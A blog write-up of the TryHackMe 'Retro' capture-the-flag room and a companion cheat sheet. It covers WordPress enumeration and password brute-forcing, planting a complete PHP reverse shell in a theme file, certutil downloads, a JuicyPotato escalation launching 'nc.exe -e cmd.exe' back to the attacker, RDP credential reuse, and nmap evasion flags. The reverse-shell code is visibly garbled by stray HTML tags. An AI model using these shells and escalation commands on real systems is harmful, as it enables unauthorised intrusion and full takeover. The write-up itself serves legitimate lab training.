Retro - TryHackMe

14 min read

Published at: May 10, 2024

Retro equipment from unsplashed

Can we achieve the new high score!?




Find a way into the system that is hosting a retro blog - thereafter escalate your privileges to system!

Cheat Sheet

Before we begin, as always there is a generic Cheat Sheet for this room which could be integrated in your own notes. You find it at at the bottom of this write-up. You can also find all of my notes at


Hidden directory

A web server is running on the target. What is the hidden directory which the website lives on? We are also hinted that the machine doesn't respond to ping.

To begin our hack, we do a port scan to see what services are hosted on the machine.

nmap -p- -v -Pn

80/tcp   open  http
3389/tcp open  ms-wbt-server
  • -p-: Scan all ports
  • -v: Be verbose
  • -Pn: No host discovery (treat all machines as up)

We see an open


Remote Desktop

port together with an open webserver. However due to the lack of credentials to access the RDP, we start by looking at the webserver.

Navigating to the web server by going to I am faced by the following screen.

Windows server home screen

To find any more interesting directories I utilise gobuster.

Find a retro directory
gobuster dir -u "" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Navigating to retro we are met by the following:

Index of retro blog



Gain access

Because gobuster doesn't look recursively, we would like to scan another time but for the retro directory.

It is running wordpress
gobuster dir -u "" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Oh! It's running wordpress. Navigating to the bottom of the page we also find the login-page for the wordpress admin console.

A good tool to further enumerate wordpress is wpscan.

Found user wade from wpscan
wpscan --url -e

Great we have a username! My next idea was to bruteforce the password whilst finding another way in or the password directly - I did so by running:

wpscan --url -U wade -P /usr/share/wordlists/rockyou.txt

However this had limited results.

Instead I went to browse the webpage as a normal user, and there I found a comment made by wade himself.

Note made by wade
Note by wade: parzival

This seems almost like a password? Or at least it must be important since he left himself a note. Let's try to use it on the wordpress login page.

It worked, we are now in the admin panel
It worked, we have access to the admin panel! wade:parzival

Having exploited wordpress before, I know we can edit the wordpress theme and replace it with a php-reverse shell which we can catch on our own machine.

I will be using the following, Ivan Sincek from

// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    private $buffer  = 1024;    // read/write buffer size
    private $clen    = 0;       // command length
    private $error   = false;   // stream read/write error
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    private function detect() {
        $detected = true;
        if (stripos(PHP_OS, 'LINUX') !<b> false) { // same for macOS
            $this->os    = 'LINUX';
            $this->shell = 'cmd';
        } else if (stripos(PHP_OS, 'WIN32') !</b> false || stripos(PHP_OS, 'WINNT') !<b> false || stripos(PHP_OS, 'WINDOWS') !</b> false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        return $detected;
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
        } else if (posix_setsid() < 0) {
            // once daemonized you will actually no longer see the script's dump
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\n";
        return $exit;
    private function settings() {
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    private function dump($data) {
        $data = str_replace('<', '&lt;', $data);
        $data = str_replace('>', '&gt;', $data);
        echo $data;
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) <b>= false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
        return $data;
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) </b>= false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
        return $bytes;
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os <b>= 'WINDOWS' && $oname </b>= 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $fstat = fstat($input);
        $size = $fstat['size'];
        if ($this->os <b>= 'WINDOWS' && $iname </b>= 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
    public function run() {
        if ($this->detect() && !$this->daemonize()) {

            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS

                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS

                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
                    do {
						$status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams <b>= false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os </b>= 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os <b>= 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                    } while (!$this->error);
                    // ------ WORK END ------

                    foreach ($pipes as $pipe) {
                // ------ SHELL END ------

            // ------ SOCKET END ------

echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('', 1337);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
Editing to theme to replace with my reverse shell
I chose to edit the index.php file. Remember to replace the ip and port with your own.

Now before navigating to the homepage to trigger the shell, we need to setup a listener with netcat. Then you can navigate to: (with your machine ip of course).

And with that, we got a shell
nc -lvnp 1337

Privilege escalation

Multiple ways to privesc

On windows there are usually many ways to escalate your privileges - therefore there will be multiple ways to do so even in this room. I will cover two ways of doing so.

Method 1 - JuicyPotato

We can check our privilegs with whoami /priv or whoami /all.

Running whoami priv to see our permission

Now I know I have privileges beyond what I should have, we can look at ways to exploit it. Looking at the hacktricks blog (or via a google search) we can find ways to do so. RogueWinRM is a technique I have tried before - however it requires that WinRM is disabled on the system. By running `powershell -c "Get-Service"`, we see that it is running...

Another common way is via one of the Potato techniques. A few examples are hot, rotten, juicy and rogue. However a general rule is:

  • Windows 10 1809 >= & Windows Server 2019 - Try Rogue Potato.
  • < Windows 10 1809, < Windows Server 2019 - Try Juicy Potato.

Sweet Potato

Post-completion of the room, I read that Sweet Potato should be able to work for every situation. However I did not use it for this room due to my limited knowledge of this before completion.

To figure out which one we should use, get the system information.

systeminfo to see what OS we are on

We are running Windows Server 2016, which puts us in the use-case of Juicy Potato. First we need to download the binary together with netcat to the Windows machine. Here is the download link to the binary:

Find netcat

To see if you have the netcat binary on your machine already, run locate nc.exe.

Now make sure you have both of these binaries in the same directory and host a webserver:

python3 -m http.server

Now you can use many tools to download them to the Windows machine, I used certutil. Run the following command for both JuicyPotato and netcat. Note that I decided to make a temp-folder to guarantee read/write permission.

Utilising certutil to download files
certutil -URLcache -split -f C:/temp/nc.exe

To know how to use JuicyPotato I once again referred to hacktricks. Now that we have the binaries, the last thing we need is a CLSID (think serial number for every application component in Windows). A list of CLSIDS for different Windows systems can be found here. I used the first one {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}. Note however that if one doesn't work, you can keep trying with other ones.

Great! Now we have everything to run the command!

Running Juicypotato
JuicyPotato.exe -l 1338 -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}" -p C:/windows/system32/cmd.exe -a "/c C:/temp/nc.exe -e cmd.exe 1339" -t *
Catch the shell on your machine with: nc -lvnp 1339

Now we can grab both the user and root flags! Found in respective desktop-file.


  1. User: 3b99fbdc6d430bfb51c72c651a261927
  2. Root: 7958b569565d7bd88d10c6f22d1c4063

Method 2 - RDP

Remember the RDP? Let's try to connect to it reusing the credentials we found before! Note that my new machine has the ip

remmina --encrypt-password # Take the output and put it after 'wade:'
remmina -c rdp://wade:YlZsMBpIgVH7ZNokEyaK1A</b>@
It worked, and we have the user flag here as well
Look, we even found the user flag
HHupd in recycle bin
hhupd found in the recycle bin

We also find the following in the google chrome application:


We find the following when searching on google:

Github with exploit for cve-2019-1388

I had an issue performing this however due to an internal bug that makes it impossible to open the site.

Bug not allowing me to open link

But since I have completed room with Method 1 - JuicyPotato, I wasn't too upset knowing that it should in theory work.

Another amazing writeup

For another very good writeup on the room that cover two additional ways of escalating privileges, read this:

Retro is a Hard Level CTF on TryHackMe.It has a similar room called “Blaster” which is basically the same room except it has more hints and…

Cheat Sheet

You can also find all of the following under the notes category.


Network enumeration


ICMP and SYN scans cannot be tunnelled through socks proxies, so we must disable ping discovery (-Pn) and specify TCP scans (-sT) for this to work.


Traceroute with Nmap:

sudo nmap -sn --tsaceroute ip_addr -oA insecure-net

Zenmap can take the .xml output and graphically display the traceroute and topology

Initial port scan:

sudo nmap -p- -v 

Add -Pn if windows machine

Narrow secondary scan:

sudo nmap -v -A -sC --script vuln -p PORTS

Nmap to searchsploit:

sudo nmap -sV -p PORTS -oX searchsploit.xml && searchsploit --nmap searchsploit.xml


  • --script scriptname: run scripts
  • locate *.nse: list all scripts

Good scripts:

Script name Functionality
dns-brute Attempts to enumerate DNS hostnames by brute force guessing of common subdomains.
http-enum Enumerates directories used by popular web applications and servers.
http-title Shows the title of the default page of a web server.
nfs* Enumerates network file shares.
smb-os-discovery Attempts to determine the operating system, computer name, domain, workgroup, and current time over the SMB protocol (ports 445 or 139).
smb-brute Attempts to guess username/password combinations over SMB, storing discovered combinations for use in other scripts.
smb-enum-shares Tries to enumerate shares.
smb-enum-users Tries to enumerate users of the shares.

Other script syntax:

-sC - Default scripts
--script all - runs all script (can DoS)
--script-updatedb - update the NSE scripts
--script banner - run the named script (banner) against the target(s)
--script-help "http*" - get help for the named script(s) (use wildcard * alone for all scripts)
--script "http*" - run all scripts beginning with http against the target(s)
--script "smb*" - run all scripts beginning with smb against the target(s)
--script category - runs all scripts within a script-category (e.g. vuln)

Examples, categories, etc:

Other flags

Flag Function
-sU UDP scan
-F top 100 ports
-iL input file
-D decoy source IP (RND for random)
-S spoof IP, need to be on the same network
-g source port (-g 443 to resemble https, or -g 53 for UDP to resemble DNS )
--reason show target response
--packet_trace show packet details
traceroute show topology
Packet fragmentation
-f to set the data in the IP packet to 8 bytes.
-ff to limit the data in the IP packet to 16 bytes at most.
--mtu SIZE to provide a custom size for data carried within the IP packet. The size should be a multiple of 8.
Packet fragmentation end
--data-length set a specific length (multiple of 8)
--badsum send invalid packet
--ip-options "[S/L] IP IP2" Strict and loose routing
--proxies comma separated proxy list (HTTP or SOCKS4)
--spoof-mac need to be on the same network
--ttl set specific time to live


Directory bruteforce:

gobuster dir -u "URL" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o OUTFILE

DNS bruteforce:

gobuster dns -d "URL" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o OUTFILE


Default threads is 10 (-t)

Gobuster flag Description
-e Print the full URLs in your console
-u The target URL
-w Path to your wordlist
-U and -P Username and Password for Basic Auth
-p Proxy to use for requests
-c Specify a cookie for simulating your auth


Wordpress scanner

ALWAYS scan the directory

When scanning the directory rather than the login page, you will usually find more information. E.g. scan /wordpress and not /wordpress/wp-logoin.php

wpscan --url -e
  • -e: enumerate
  • -U: username/list
  • -P: password/list


GitHub - ohpe/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.
A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM. - GitHub - ohpe/juicy-potato: A suga…


  • < Windows 10 1809
  • < Windows Server 2019
  • SeImpersonatePrivilege or SeAssignPrimaryToken
Using JuicyPotato
JuicyPotato.exe -l 1338 -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}" -p C:/windows/system32/cmd.exe -a "/c C:/temp/nc.exe -e cmd.exe 1339" -t *

CLIDS (serial number for windows applications):

Remmina (RDP)

remmina --encrypt-password # Take the output and put it after 'wade:'
remmina -c rdp://wade:[email protected]

Support me

Thank you so much for reading and I hope you found it inspirational or helpful! You can best support me by doing any of the following bellow!

  • Turn off Adblocker: A simple yet impactful way to support me for free.
  • Sign Up: If you haven't already, consider signing up to get access to more content and receive optional newsletters.
  • Buy Premium: Explore the Premium option for additional perks and exclusive content.
  • Give a Tip: Your generosity is always very appreciated.

You can read more about the perks of being a Member or Subscriber here.

Additionally, you can stay updated and engage with me on social media:

  • Twitter: Follow for real-time updates and insights.
  • LinkedIn: Connect with me on a professional platform.

Contact me here: [email protected]


Become a member and never miss a post!

By signing up you have read and agree to the Privacy Policy.


Bonus content

Learn more...

Continue reading

Continue reading

Continue reading